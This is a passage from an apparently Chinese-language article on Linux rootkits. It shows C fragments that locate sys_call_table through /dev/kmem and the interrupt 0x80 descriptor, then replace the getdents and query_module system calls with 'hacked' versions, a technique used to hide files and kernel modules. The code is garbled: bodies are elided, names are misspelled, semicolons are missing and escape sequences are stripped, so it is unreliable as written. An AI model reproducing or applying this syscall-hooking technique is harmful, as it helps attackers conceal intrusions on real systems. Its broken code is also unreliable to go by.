unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
}__attribute__((packed))idt;
int kmem;
/ *下面函数用于从kemem对应的文件中偏移量为off处读取sz个字节至内存m处*/
void readkmem(void *m,unsigned off,int sz) {………}
/*下面函数用于从src读取count个字节至dest处*/
void weitekmem(void *src,void *dest,unsigned int count) {………..}
unsigned sct; //用来存放sys_call_table地址
char buff[100]; //用于存放system_call函数的前100个字节。
char *p;
if((kmem=open(“/dev/kmem”,O_RDONLY))<0)
return 1;
asm(“sidt %0” “:=m” (idtr)); //读取idtr寄存器的值至idtr结构中
readkmem(&idt,idtr.base+8*0x80,sizeof(idt)) //将0x80描述符读至idt结构中
sys_ call_off=(idt.off2<<16)|idt.off1; //得到system_call函数的地址。
readkmem(buff,sys_call_off,100) //读取system_call函数的前100字节至buff
p=(char *)memmem(buff,100,”xffx14x85”,3); //得到call语句对应机器码的地址
sct=(unsigned *)(p+3) //得到sys_call_table的地址。
至此已经得到了sys_call_table在内存中的位置,这样在根据系统调用号就能够找到相应的系统调用对应的地址,修改该地址就可以使用新的系统调函数,具体的做法如下:
readkmem(&orig_getdents,sct+ SYS_getdents*4,4)//保存原来的系统调用
readkmem(&orig_query_module,sct+SYS_query_module*4,4);
writekmem(hacked_getdents,sct+SYS_getdents*4,4);//设置新的系统调用
writekmem(hacket_query_module,sct+SYS_query_module*4,4);
2.5 其他的相关技术